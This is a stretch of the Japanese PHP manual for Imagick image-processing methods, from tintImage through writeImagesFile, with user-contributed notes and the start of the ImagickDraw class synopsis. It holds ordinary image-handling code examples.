With either of the params as 0, the aspect ratio is maintained.


色ベクトルを画像の各ピクセルに適用する

  • ≪ Imagick::thumbnailImage
  • Imagick::__toString ≫
  • PHP Manual
  • Imagick
  • 色ベクトルを画像の各ピクセルに適用する

Imagick::tintImage

(PECL imagick 2, PECL imagick 3)

Imagick::tintImage — 色ベクトルを画像の各ピクセルに適用する

説明

public Imagick::tintImage ( mixed $tint , mixed $opacity , bool $legacy = false ) : bool

色ベクトルを画像の各ピクセルに適用します。 ベクトルの長さは、黒および白のときに 0、中間色のときに最大となります。 ベクトルの重み関数は f(x)=(1-(4.0*((x-0.5)*(x-0.5)))) です。

パラメータ

tint

opacity

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

変更履歴

バージョン | 説明
PECL imagick 2.1.0 | 色を表す文字列を最初のパラメータとして、 不透明度を表す浮動小数点数値を 2 番目のパラメータとして指定できるようになりました。 これまでのバージョンでは ImagickPixel オブジェクトしか指定できませんでした。

例

例1 Imagick::tintImage()

<?php
function tintImage($r, $g, $b, $a) {
    $a = $a / 100;

    $imagick = new \Imagick();
    $imagick->newPseudoImage(400, 400, 'gradient:black-white');

    $tint = new \ImagickPixel("rgb($r, $g, $b)");
    $opacity = new \ImagickPixel("rgb(128, 128, 128, $a)");
    $imagick->tintImage($tint, $opacity);
    $imagick->setImageFormat('png');
    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Returns the image as a string

  • ≪ Imagick::tintImage
  • Imagick::transformImage ≫
  • PHP Manual
  • Imagick
  • Returns the image as a string

Imagick::__toString

(PECL imagick 2, PECL imagick 3)

Imagick::__toString — Returns the image as a string

説明

public Imagick::__toString ( ) : string

Returns the current image as string. This will only return a single image; it should not be used for Imagick objects that contain multiple images e.g. an animated GIF or PDF with multiple pages.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the string content on success or an empty string on failure.

参考

  • Imagick::getImageBlob() - 画像シーケンスを blob で返す
  • Imagick::getImagesBlob() - すべての画像シーケンスを blob で返す

User Contributed Notes

There are no user contributed notes for this page.


切り取るサイズと画像のジオメトリを設定する便利なメソッド

  • ≪ Imagick::__toString
  • Imagick::transformImageColorspace ≫
  • PHP Manual
  • Imagick
  • 切り取るサイズと画像のジオメトリを設定する便利なメソッド

Imagick::transformImage

(PECL imagick 2, PECL imagick 3)

Imagick::transformImage — 切り取るサイズと画像のジオメトリを設定する便利なメソッド

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::transformImage ( string $crop , string $geometry ) : Imagick

切り取るサイズと画像のジオメトリを設定する便利なメソッドです。 このメソッドは、ImageMagick バージョン 6.2.9 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

crop

切り取りジオメトリ文字列。 このジオメトリで画像の一部の範囲を指定し、その部分を切り取ります。

geometry

画像ジオメトリ文字列。このジオメトリで最終的な画像のサイズを指定します。

返り値

変換語の画像を含む Imagick オブジェクトを返します。

例

例1 Imagick::transformImage() の使用

この例は 100x100 の黒い画像を作成します。

<?php
$image = new Imagick();
$image->newImage(300, 200, "black");
$new_image = $image->transformImage("100x100", "100x100");
$new_image->writeImage('test_out.jpg');
?>

参考

  • Imagick::cropImage() - 画像の一部を抽出する
  • Imagick::resizeImage() - 画像のサイズを変更する
  • Imagick::thumbnailImage() - 画像のサイズを変更する

User Contributed Notes

There are no user contributed notes for this page.


Transforms an image to a new colorspace

  • ≪ Imagick::transformImage
  • Imagick::transparentPaintImage ≫
  • PHP Manual
  • Imagick
  • Transforms an image to a new colorspace

Imagick::transformImageColorspace

(PECL imagick 3)

Imagick::transformImageColorspace — Transforms an image to a new colorspace

説明

public Imagick::transformImageColorspace ( int $colorspace ) : bool

Transforms an image to a new colorspace.

パラメータ

colorspace

The colorspace the image should be transformed to, one of the COLORSPACE constants e.g. Imagick::COLORSPACE_CMYK.

返り値

成功した場合に true を返します。

例

例1 Imagick::transformImageColorspace() example

Transforms an image to a new colorspace, and then extracts a single channel so that the individual channel values can be viewed.

<?php
function transformImageColorspace($imagePath, $colorSpace, $channel) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->transformimagecolorspace($colorSpace);
    //channel should be one of the channel constants e.g. \Imagick::CHANNEL_BLUE
    $imagick->separateImageChannel($channel);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}
?>

参考

  • Imagick::setColorSpace() - 色空間を設定する

例

例2 Imagick::transformImageColorspace()

<?php
function transformImageColorspace($imagePath, $colorSpace, $channel) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->transformimagecolorspace($colorSpace);
    $imagick->separateImageChannel($channel);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

A.Ross 15-Apr-2015 07:31
This SO question and answer might help clarify why transformImageColorspace is useful: http://stackoverflow.com/questions/29296779/convert-pdf-with-transparency-and-cmyk-to-jpg

Also, there's a Github issue here that explains the difference between transformImageColorspace and setImageColorspace: https://github.com/rmagick/rmagick/pull/75


ピクセルを透過させる

  • ≪ Imagick::transformImageColorspace
  • Imagick::transposeImage ≫
  • PHP Manual
  • Imagick
  • ピクセルを透過させる

Imagick::transparentPaintImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::transparentPaintImage — ピクセルを透過させる

説明

public Imagick::transparentPaintImage ( mixed $target , float $alpha , float $fuzz , bool $invert ) : bool

対処の色にマッチするピクセルを透過させます。 このメソッドは、ImageMagick バージョン 6.3.8 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

target

対象となる色。

alpha

透明度。1.0 は完全な不透明で 0.0 が完全な透明をあらわします。

fuzz

あいまいさをあらわす量。たとえば、これを 10 に設定すると、 赤色の値が 100 の色と 102 の色は同じものとみなされます。

invert

true の場合は、対象の色にマッチしないピクセルを変更します。

返り値

成功した場合に true を返します。

例

例1 Imagick::transparentPaintImage()

<?php
function transparentPaintImage($color, $alpha, $fuzz) {
    $imagick = new \Imagick(realpath("images/BlueScreen.jpg"));

    //Need to be in a format that supports transparency
    $imagick->setimageformat('png');

    $imagick->transparentPaintImage(
        $color, $alpha, $fuzz * \Imagick::getQuantum(), false
    );

    //Not required, but helps tidy up left over pixels
    $imagick->despeckleimage();

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


垂直方向に反転させた画像を作成する

  • ≪ Imagick::transparentPaintImage
  • Imagick::transverseImage ≫
  • PHP Manual
  • Imagick
  • 垂直方向に反転させた画像を作成する

Imagick::transposeImage

(PECL imagick 2, PECL imagick 3)

Imagick::transposeImage — 垂直方向に反転させた画像を作成する

説明

public Imagick::transposeImage ( ) : bool

垂直方向に反転させた画像を作成します。 中央の x 軸に対して反転させ、90 度回転させます。 このメソッドは、ImageMagick バージョン 6.2.9 以降で Imagick をコンパイルした場合に使用可能です。

返り値

成功した場合に true を返します。

参考

  • Imagick::transverseImage() - 水平方向に反転させた画像を作成する

例

例1 Imagick::transposeImage()

<?php
function transposeImage($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->transposeImage();
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


水平方向に反転させた画像を作成する

  • ≪ Imagick::transposeImage
  • Imagick::trimImage ≫
  • PHP Manual
  • Imagick
  • 水平方向に反転させた画像を作成する

Imagick::transverseImage

(PECL imagick 2, PECL imagick 3)

Imagick::transverseImage — 水平方向に反転させた画像を作成する

説明

public Imagick::transverseImage ( ) : bool

水平方向に反転させた画像を作成します。 中央の y 軸に対して反転させ、270 度回転させます。 このメソッドは、ImageMagick バージョン 6.2.9 以降で Imagick をコンパイルした場合に使用可能です。

返り値

成功した場合に true を返します。

参考

  • Imagick::transposeImage() - 垂直方向に反転させた画像を作成する

例

例1 Imagick::transverseImage()

<?php
function transverseImage($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->transverseImage();
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


画像の輪郭を削除する

  • ≪ Imagick::transverseImage
  • Imagick::uniqueImageColors ≫
  • PHP Manual
  • Imagick
  • 画像の輪郭を削除する

Imagick::trimImage

(PECL imagick 2, PECL imagick 3)

Imagick::trimImage — 画像の輪郭を削除する

説明

public Imagick::trimImage ( float $fuzz ) : bool

画像の背景色と同じ色の輪郭を削除します。 このメソッドは、ImageMagick バージョン 6.2.9 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

fuzz

デフォルトでは、対象の色は特定のピクセルの色とまったく同じでなければなりません。 しかし、ふたつの色が微妙に異なることもよくあります。 画像の fuzz メンバは、どの程度の色を「同じ色」とみなすかを表します。 このパラメータは、量の範囲の変化を表します。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::trimImage() の使用法

画像をトリムし、ブラウザに表示します。

<?php
/* オブジェクトを作成し、画像を読み込みます */
$im = new Imagick("image.jpg");

/* 画像をトリムします */
$im->trimImage(0);

/* 画像を出力します */
header("Content-Type: image/" . $im->getImageFormat());
echo $im;
?>

参考

  • Imagick::getQuantumDepth() - quantum depth を取得する
  • Imagick::getQuantumRange() - Imagick quantum range を返す
  • imagecropauto() - 利用可能なモードを指定して、画像を自動的にクロップする

User Contributed Notes

Kirsty Forrester 08-Feb-2013 11:17
The command for trim can return info which tells you the coordinates of where the image was cropped and the new dimensions of the trimmed image. I couldn't find an example for how to do that with this class, so here's how I did it:

<?php

// Create and trim image
$image = new Imagick('image.png');
$image->trimImage(0.3);

/**
* Imagick:: getImagePage() gives us an array with the width, height, x and y coordinates of the trimmed image
* However, the width and height are of the original image
*/
$imagePage = $image->getImagePage();
list($x, $y) = array($imagePage['x'], $imagePage['y']);

// So we need to reset the image page to get the right height and width of the trimmed image
$image->setImagePage(0, 0, 0, 0);
list($width, $height) = array($image->width, $image->height);

?>

This will leave you with two variables for the width and height of the trimmed image, plus two variables for the x-coordinate and y-coordinate of the trimmed area relative to the original image.

This information is useful when the image you're trimming is the difference between two images (e.g. from Imagick::compareImages(), and you want to crop the original image to the same size and position as the difference.
dhp 23-Apr-2009 04:31
After operations that change the crop of the image, like trimImage does, IM preserves the old canvas and positioning info. If you need to do additional operations on the image based on the new size, you'll need to reset this info with setImagePage. This is the equivalent of the +repage command line argument.

<?php
$im->trimImage(0);
$im->setImagePage(0, 0, 0, 0);
?>
Mark van der Velden 06-Dec-2007 01:35
This method requires ImageMagick version >= 6.2.8


ある 1 色以外のすべての色のピクセルを削除する

  • ≪ Imagick::trimImage
  • Imagick::unsharpMaskImage ≫
  • PHP Manual
  • Imagick
  • ある 1 色以外のすべての色のピクセルを削除する

Imagick::uniqueImageColors

(PECL imagick 2,PECL imagick 3)

Imagick::uniqueImageColors — ある 1 色以外のすべての色のピクセルを削除する

説明

public Imagick::uniqueImageColors ( ) : bool

ある 1 色以外のすべての色のピクセルを削除します。 このメソッドは、ImageMagick バージョン 6.2.9 以降で Imagick をコンパイルした場合に使用可能です。

返り値

成功した場合に true を返します。

例

例1 Imagick::uniqueImageColors()

<?php
function uniqueImageColors($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    //Reduce the image to 256 colours nicely.
    $imagick->quantizeImage(256, \Imagick::COLORSPACE_YIQ, 0, false, false);
    $imagick->uniqueImageColors();
    $imagick->scaleimage($imagick->getImageWidth(), $imagick->getImageHeight() * 20);
    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


画像をシャープにする

  • ≪ Imagick::uniqueImageColors
  • Imagick::valid ≫
  • PHP Manual
  • Imagick
  • 画像をシャープにする

Imagick::unsharpMaskImage

(PECL imagick 2, PECL imagick 3)

Imagick::unsharpMaskImage — 画像をシャープにする

説明

public Imagick::unsharpMaskImage ( float $radius , float $sigma , float $amount , float $threshold , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

画像をシャープにします。 指定した半径と標準偏差 (シグマ) によるガウス演算によって画像を畳み込みます。 意味のある結果を得るには、半径がシグマより大きくなければなりません。 radius に 0 を指定すると、 Imagick::UnsharpMaskImage() が適切な半径を自動的に設定します。

パラメータ

radius

sigma

amount

threshold

channel

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::unsharpMaskImage()

<?php
function unsharpMaskImage($imagePath, $radius, $sigma, $amount, $unsharpThreshold) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->unsharpMaskImage($radius, $sigma, $amount, $unsharpThreshold);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Anonymous 24-Feb-2009 08:00
Prepare photo for web

<?php
$im = new Imagick($SrcFile);

$im->resizeImage ( $Width, $Height , Imagick::FILTER_QUADRATIC , 1 );

$im->normalizeImage();
$im->unsharpMaskImage(0 , 0.5 , 1 , 0.05);

$im->setImageFormat( "jpg" );
$im->setCompressionQuality(75);

$im->writeImage( $OutFile );

$im->removeImage();
?>


現在のアイテムが有効かどうかを調べる

  • ≪ Imagick::unsharpMaskImage
  • Imagick::vignetteImage ≫
  • PHP Manual
  • Imagick
  • 現在のアイテムが有効かどうかを調べる

Imagick::valid

(PECL imagick 2, PECL imagick 3)

Imagick::valid — 現在のアイテムが有効かどうかを調べる

説明

public Imagick::valid ( ) : bool

現在のアイテムが有効かどうかを調べます。

返り値

成功した場合に true を返します。

User Contributed Notes

hyrumt at mediarain dot com 11-Feb-2010 11:01
We found this method to be of value when checking most image file types. However, it does not appear to be rigorous enough to detect corrupt jpg files. We use the following for jpgs and validate() for everything else.

<?php
    // check for the existence of the EOI segment header at the end of the file
    if (0 !== fseek($file, -2, SEEK_END) || "\xFF\xD9" !== fread($file, 2)) {
        fclose($file);
        return FALSE;
    }
?>


ビネットフィルタを画像に追加する

  • ≪ Imagick::valid
  • Imagick::waveImage ≫
  • PHP Manual
  • Imagick
  • ビネットフィルタを画像に追加する

Imagick::vignetteImage

(PECL imagick 2, PECL imagick 3)

Imagick::vignetteImage — ビネットフィルタを画像に追加する

説明

public Imagick::vignetteImage ( float $blackPoint , float $whitePoint , int $x , int $y ) : bool

ビネット形式で画像の輪郭をぼかします。 このメソッドは、ImageMagick バージョン 6.2.9 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

blackPoint

黒の点。

whitePoint

白の点。

x

楕円の X オフセット。

y

楕円の Y オフセット。

返り値

成功した場合に true を返します。

参考

  • Imagick::waveImage() - ウェーブフィルタを画像に適用する
  • Imagick::swirlImage() - 画像の中心から、ピクセルを渦巻状にする

例

例1 Imagick::vignetteImage()

<?php
function vignetteImage($imagePath, $blackPoint, $whitePoint, $x, $y) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->vignetteImage($blackPoint, $whitePoint, $x, $y);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


ウェーブフィルタを画像に適用する

  • ≪ Imagick::vignetteImage
  • Imagick::whiteThresholdImage ≫
  • PHP Manual
  • Imagick
  • ウェーブフィルタを画像に適用する

Imagick::waveImage

(PECL imagick 2, PECL imagick 3)

Imagick::waveImage — ウェーブフィルタを画像に適用する

説明

public Imagick::waveImage ( float $amplitude , float $length ) : bool

ウェーブフィルタを画像に適用します。 このメソッドは、ImageMagick バージョン 6.2.9 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

amplitude

波の振幅。

length

波長。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

参考

  • Imagick::solarizeImage() - 画像にソラリゼーション効果を適用する
  • Imagick::oilpaintImage() - 油絵をシミュレートする
  • Imagick::embossImage() - グレースケール画像に三次元効果を施して返す
  • Imagick::addNoiseImage() - ランダムなノイズを画像に追加する
  • Imagick::swirlImage() - 画像の中心から、ピクセルを渦巻状にする

例

例1 WaveImage can be quite slow Imagick::waveImage()

<?php
function waveImage($imagePath, $amplitude, $length) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->waveImage($amplitude, $length);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


閾値に満たないすべてのピクセルを白にする

  • ≪ Imagick::waveImage
  • Imagick::writeImage ≫
  • PHP Manual
  • Imagick
  • 閾値に満たないすべてのピクセルを白にする

Imagick::whiteThresholdImage

(PECL imagick 2, PECL imagick 3)

Imagick::whiteThresholdImage — 閾値に満たないすべてのピクセルを白にする

説明

public Imagick::whiteThresholdImage ( mixed $threshold ) : bool

Imagick::thresholdImage() と似ていますが、 これは閾値に満たないピクセルをすべて白にし、その他のピクセルはそのままにします。

パラメータ

threshold

返り値

成功した場合に true を返します。

変更履歴

バージョン | 説明
PECL imagick 2.1.0 | 色を表す文字列をパラメータとして指定できるようになりました。 これまでのバージョンでは ImagickPixel オブジェクトしか指定できませんでした。

例

例1 Imagick::whiteThresholdImage()

<?php
function whiteThresholdImage($imagePath, $color) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->whiteThresholdImage($color);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

elmer at web-axis dot net 30-Nov-2008 03:32
Here's a example of this function:

<?php
  $img = new Imagick();
  $img->readImage($image_file_name);
  $img->whiteThresholdImage('grey');
  $img->writeImage($thumb_file_name);
  $img->clear();
  $img->destroy();
?>


指定した名前で画像を書き込む

  • ≪ Imagick::whiteThresholdImage
  • Imagick::writeImageFile ≫
  • PHP Manual
  • Imagick
  • 指定した名前で画像を書き込む

Imagick::writeImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::writeImage — 指定した名前で画像を書き込む

説明

public Imagick::writeImage ( string $filename = NULL ) : bool

指定した名前で画像を書き込みます。filename パラメータが NULL の場合は、 Imagick::readImage() あるいは Imagick::setImageFilename() で設定した名前で書き込みます。

パラメータ

filename

画像を書き出すファイル名。ファイルの拡張子で画像形式が決まります。 "jpg:test.png" のようにプレフィックスをつけると、拡張子が何であっても特定の形式で保存できます。

返り値

成功した場合に true を返します。

User Contributed Notes

Anonymous 11-Jul-2014 10:25
I opened image with Imagick::readImageBlob. When I wanted to save resized image Imagick::writeImage did not work, but Imagick::writeImageFile did.

$image = new Imagick();
$image->readImageBlob($image_data);
// $image->writeImage($fileDst)    did not work
if($f=fopen($fileDst, "w")){
  $image->writeImageFile($f);
}
SkepticaLee 27-Mar-2014 02:30
When running Imagick as packaged with the Abyss Web Server, neither this method nor writeImages () works. Instead the format has to be declared and the file saved by using another method or procedure, e.g.:

<?php
$im = new Imagick ();
$im->newImage (300, 225, "blue");
$im->writeImage ("test_0.jpg"); // fails with no error message
//instead
$im->setImageFormat ("jpeg");
file_put_contents ("test_1.jpg", $im); // works, or:
$im->imageWriteFile (fopen ("test_2.jpg", "wb")); //also works
?>
pfz at pfzone dot org 24-Nov-2012 05:47
With Imagick 3.1.0RC2, PHP4.8
If you plan to overwrite the file you're working on, before doing writeImage, consider clearing the file buffer before the write statement :

<?php
$image = new Imagick($your_file);
/* some processing */

clearstatcache(dirname($your_file));
// or
unlink($your_file);
$image->writeImage($your_file);
?>
It happened to me that the resulting file size was wrong. This could lead to truncation, as the file is not expanded.
This happened while working on JPEG, and PNG.

this line worked for me without this hack.
<?php
file_put_contents($your_file, $image);
?>

Do not rely on getImageLength() for sending your image, especially when keepalive is ON. Content length is then relevant, and must be set. If the wrong size is given, your image will be truncated.
Use filesize($your_file_) once written or strlen($image) instead (which renders your image and updates getImageLength() result).
icinagle at gmail dot com 23-May-2011 06:47
If you are trying to manipulate a uploaded file and then save the file all in the same request with Apache + mod_dav this will fail.
mod_dav puts a lock on the file during the request where the file is uploaded so trying to save the smallest file, e.g. 1kb will fail with a "Failed to allocate memory" error.


画像をファイルハンドルに書き出す

  • ≪ Imagick::writeImage
  • Imagick::writeImages ≫
  • PHP Manual
  • Imagick
  • 画像をファイルハンドルに書き出す

Imagick::writeImageFile

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::writeImageFile — 画像をファイルハンドルに書き出す

説明

public Imagick::writeImageFile ( resource $filehandle , string $format = ? ) : bool

開いているファイルハンドルに画像シーケンスを書き出します。 ハンドルは、fopen などで開いておかなければなりません。 このメソッドは、ImageMagick バージョン 6.3.6 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

filehandle

画像を書き出すファイルハンドル。

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


画像あるいは画像シーケンスを書き込む

  • ≪ Imagick::writeImageFile
  • Imagick::writeImagesFile ≫
  • PHP Manual
  • Imagick
  • 画像あるいは画像シーケンスを書き込む

Imagick::writeImages

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::writeImages — 画像あるいは画像シーケンスを書き込む

説明

public Imagick::writeImages ( string $filename , bool $adjoin ) : bool

画像あるいは画像シーケンスを書き込みます。

パラメータ

filename

adjoin

返り値

成功した場合に true を返します。

User Contributed Notes

Malou 16-Jan-2010 01:25
As mbrugue sugest, the second parameter can also be use to save an animated gif:

<?php
$anim = new Imagick();

$files = scandir($myFramesPath);

foreach( $files as $f )
{
    $auxIMG = new Imagick();
    $auxIMG->readImage($mytifspath.$f);

    $anim->addImage($auxIMG);
}

//write animated gif
$anim->writeImages('anim.gif', true);

?>
mbrugue 11-Jun-2009 02:54
The second parameter spicifies if the object is write in multipage file (true) or split every page in a single file (false).

Example:

<?php
$multiTIFF = new Imagick();

$files = scandir($mytifspath);

foreach( $files as $f )
{
    $auxIMG = new Imagick();
    $auxIMG->readImage($mytifspath.$f);

    $multiTIFF->addImage($auxIMG);
}

//file multi.TIF
$multiTIFF->writeImages('multi.TIF', true);

//files multi-0.TIF, multi-1.TIF, ...
$multiTIFF->writeImages('multi.TIF', false);
?>


フレームをファイルハンドルに書き出す

  • ≪ Imagick::writeImages
  • ImagickDraw ≫
  • PHP Manual
  • Imagick
  • フレームをファイルハンドルに書き出す

Imagick::writeImagesFile

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::writeImagesFile — フレームをファイルハンドルに書き出す

説明

public Imagick::writeImagesFile ( resource $filehandle , string $format = ? ) : bool

開いているファイルハンドルにすべての画像フレームを書き出します。 このメソッドを使うと、アニメーション gif やその他のマルチフレーム画像を書き出すことができます。 このメソッドは、ImageMagick バージョン 6.3.6 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

filehandle

画像を書き出すファイルハンドル。

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


ImagickDraw クラス

(PECL imagick 2, PECL imagick 3)

クラス概要

ImagickDraw {
public affine ( array $affine ) : bool
public annotation ( float $x , float $y , string $text ) : bool
public arc ( float $sx , float $sy , float $ex , float $ey , float $sd , float $ed ) : bool
public bezier ( array $coordinates ) : bool
public circle ( float $ox , float $oy , float $px , float $py ) : bool
public clear ( ) : bool
public clone ( ) : ImagickDraw
public color ( float $x , float $y , int $paintMethod ) : bool
public comment ( string $comment ) : bool
public composite ( int $compose , float $x , float $y , float $width , float $height , Imagick $compositeWand ) : bool
public __construct ( )
public destroy ( ) : bool
public ellipse ( float $ox , float $oy , float $rx , float $ry , float $start , float $end ) : bool
public getClipPath ( ) : string
public getClipRule ( ) : int
public getClipUnits ( ) : int
public getFillColor ( ) : ImagickPixel
public getFillOpacity ( ) : float
public getFillRule ( ) : int
public getFont ( ) : string
public getFontFamily ( ) : string
public getFontSize ( ) : float
public getFontStretch ( ) : int
public getFontStyle ( ) : int
public getFontWeight ( ) : int
public getGravity ( ) : int
public getStrokeAntialias ( ) : bool
public getStrokeColor ( ) : ImagickPixel
public getStrokeDashArray ( ) : array
public getStrokeDashOffset ( ) : float
public getStrokeLineCap ( ) : int
public getStrokeLineJoin ( ) : int
public getStrokeMiterLimit ( ) : int
public getStrokeOpacity ( ) : float
public getStrokeWidth ( ) : float
public getTextAlignment ( ) : int
public getTextAntialias ( ) : bool
public getTextDecoration ( ) : int
public getTextEncoding ( ) : string
public getTextInterlineSpacing ( ) : float
public getTextInterwordSpacing ( ) : float
public getTextKerning ( ) : float
public getTextUnderColor ( ) : ImagickPixel
public getVectorGraphics ( ) : string
public line ( float $sx , float $sy , float $ex , float $ey ) : bool
public matte ( float $x , float $y , int $paintMethod ) : bool
public pathClose ( ) : bool
public pathCurveToAbsolute ( float $x1 , float $y1 , float $x2 , float $y2 , float $x , float $y ) : bool
public pathCurveToQuadraticBezierAbsolute ( float $x1 , float $y1 , float $x , float $y ) : bool
public pathCurveToQuadraticBezierRelative ( float $x1 , float $y1 , float $x , float $y ) : bool
public pathCurveToQuadraticBezierSmoothAbsolute ( float $x , float $y ) : bool
public pathCurveToQuadraticBezierSmoothRelative ( float $x , float $y ) : bool
public pathCurveToRelative ( float $x1 , float $y1 , float $x2 , float $y2 , float $x , float $y ) : bool
public pathCurveToSmoothAbsolute ( float $x2 , float $y2 , float $x , float $y ) : bool
public pathCurveToSmoothRelative ( float $x2 , float $y2 , float $x , float $y ) : bool
public pathEllipticArcAbsolute ( float $rx , float $ry , float $x_axis_rotation , bool $large_arc_flag , bool $sweep_flag , float $x , float $y ) : bool
public pathEllipticArcRelative ( float $rx , float $ry , float $x_axis_rotation , bool $large_arc_flag , bool $sweep_flag , float $x , float $y ) : bool
public pathFinish ( ) : bool
public pathLineToAbsolute ( float $x , float $y ) : bool
public pathLineToHorizontalAbsolute ( float $x ) : bool
public pathLineToHorizontalRelative ( float $x ) : bool
public pathLineToRelative ( float $x , float $y ) : bool
public pathLineToVerticalAbsolute ( float $y ) : bool
public pathLineToVerticalRelative ( float $y ) : bool
public pathMoveToAbsolute ( float $x , float $y ) : bool
public pathMoveToRelative ( float $x , float $y ) : bool
public pathStart ( ) : bool
public point ( float $x , float $y ) : bool
public polygon ( array $coordinates ) : bool
public polyline ( array $coordinates ) : bool
public pop ( ) : bool
public popClipPath ( ) : bool
public popDefs ( ) : bool
public popPattern ( ) : bool
public push ( ) : bool
public pushClipPath ( string $clip_mask_id ) : bool
public pushDefs ( ) : bool
public pushPattern ( string $pattern_id , float $x , float $y , float $width , float $height ) : bool
public rectangle ( float $x1 , float $y1 , float $x2 , float $y2 ) : bool
public render ( ) : bool
public resetVectorGraphics ( ) : bool
public rotate ( float $degrees ) : bool
public roundRectangle ( float $x1 , float $y1 , float $x2 , float $y2 , float $rx , float $ry ) : bool
public scale ( float $x , float $y ) : bool
public setClipPath ( string $clip_mask ) : bool
public setClipRule ( int $fill_rule ) : bool
public setClipUnits ( int $clip_units ) : bool
public setFillAlpha ( float $opacity ) : bool
public setFillColor ( ImagickPixel $fill_pixel ) : bool
public setFillOpacity ( float $fillOpacity ) : bool
public setFillPatternURL ( string $fill_url ) : bool
public setFillRule ( int $fill_rule ) : bool
public setFont ( string $font_name ) : bool
public setFontFamily ( string $font_family ) : bool
public setFontSize ( float $pointsize ) : bool
public setFontStretch ( int $fontStretch ) : bool
public setFontStyle ( int $style ) : bool
public setFontWeight ( int $font_weight ) : bool
public setGravity ( int $gravity ) : bool
public setResolution ( float $x_resolution , float $y_resolution ) : bool
public setStrokeAlpha ( float $opacity ) : bool
public setStrokeAntialias ( bool $stroke_antialias ) : bool
public setStrokeColor ( ImagickPixel $stroke_pixel ) : bool
public setStrokeDashArray ( array $dashArray ) : bool
public setStrokeDashOffset ( float $dash_offset ) : bool
public setStrokeLineCap ( int $linecap ) : bool
public setStrokeLineJoin ( int $linejoin ) : bool
public setStrokeMiterLimit ( int $miterlimit ) : bool
public setStrokeOpacity ( float $stroke_opacity ) : bool
public setStrokePatternURL ( string $stroke_url ) : bool
public setStrokeWidth ( float $stroke_width ) : bool
public setTextAlignment ( int $alignment ) : bool
public setTextAntialias ( bool $antiAlias ) : bool
public setTextDecoration ( int $decoration ) : bool
public setTextEncoding ( string $encoding ) : bool
public setTextInterlineSpacing ( float $spacing ) : bool
public setTextInterwordSpacing ( float $spacing ) : bool
public setTextKerning ( float $kerning ) : bool
public setTextUnderColor ( ImagickPixel $under_color ) : bool
public setVectorGraphics ( string $xml ) : bool
public setViewbox ( int $x1 , int $y1 , int $x2 , int $y2 ) : bool
public skewX ( float $degrees ) : bool
public skewY ( float $degrees ) : bool
public translate ( float $x , float $y ) : bool
}

目次

  • ImagickDraw::affine — 現在のアフィン変換行列を設定する
  • ImagickDraw::annotation — 画像上にテキストを描画する
  • ImagickDraw::arc — 円弧を描画する
  • ImagickDraw::bezier — ベジエ曲線を描画する
  • ImagickDraw::circle — 円を描画する
  • ImagickDraw::clear — ImagickDraw をクリアする
  • ImagickDraw::clone — 指定した ImagickDraw オブジェクトの完全なコピーを作成する
  • ImagickDraw::color — 画像上に色を描画する
  • ImagickDraw::comment — コメントを追加する
  • ImagickDraw::composite — 現在の画像上に別の画像を合成する
  • ImagickDraw::__construct — ImagickDraw コンストラクタ
  • ImagickDraw::destroy — 関連付けられたすべてのリソースを開放する
  • ImagickDraw::ellipse — 画像上に楕円を描画する
  • ImagickDraw::getClipPath — 現在のクリッピングパスの ID を取得する
  • ImagickDraw::getClipRule — 現在の多角形塗りつぶしルールを返す
  • ImagickDraw::getClipUnits — クリップパスの単位の解釈を返す
  • ImagickDraw::getFillColor — 塗りつぶし色を返す
  • ImagickDraw::getFillOpacity — 描画時の透過度を返す
  • ImagickDraw::getFillRule — 塗りつぶしルールを返す
  • ImagickDraw::getFont — フォントを返す
  • ImagickDraw::getFontFamily — フォントファミリーを返す
  • ImagickDraw::getFontSize — フォントのポイント数を返す
  • ImagickDraw::getFontStretch — Description
